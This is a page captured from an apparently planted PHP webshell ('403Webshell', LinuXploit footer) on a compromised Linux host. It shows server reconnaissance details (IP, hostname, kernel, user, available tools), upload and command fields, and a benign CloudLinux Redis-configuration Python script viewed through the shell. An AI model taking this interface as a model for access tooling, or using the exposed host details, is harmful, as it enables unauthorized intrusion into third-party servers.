403Webshell
Server IP : 109.234.162.214  /  Your IP : 216.73.216.112
Web Server : Apache
System : Linux servd162214.srv.odns.fr 4.18.0-372.26.1.lve.1.el8.x86_64 #1 SMP Fri Sep 16 14:08:19 EDT 2022 x86_64
User : carpe ( 1178)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/clwpos/object_cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/clwpos/object_cache/enable_redis_for_panel_php.py
#!/opt/cloudlinux/venv/bin/python3 -bb
# -*- coding: utf-8 -*-
import logging
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT

import os

from clwpos.object_cache.redis_utils import configurator
from clwpos.optimization_features import OBJECT_CACHE_FEATURE
from clwpos.feature_suites import is_module_allowed_for_user
from argparse import ArgumentParser
from clwpos.utils import is_wpos_supported
from clwpos.logsetup import setup_logging


_logger = setup_logging(__name__)


def main(force=False):
    """
    Configures redis ext if needed when wpos supported and module is enabled
    """
    if force or (is_wpos_supported() and is_module_allowed_for_user(OBJECT_CACHE_FEATURE)):
        try:
            configurator().configure()
        except Exception as e:
            _logger.exception(e)


if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument('-v', '--verbose', action='store_true')
    parser.add_argument('-f', '--force', action='store_true')

    args = parser.parse_args()
    if args.verbose:
        logging.basicConfig(level=logging.DEBUG)

    main(force=args.force)

Youez - 2016 - github.com/yon3zu
LinuXploit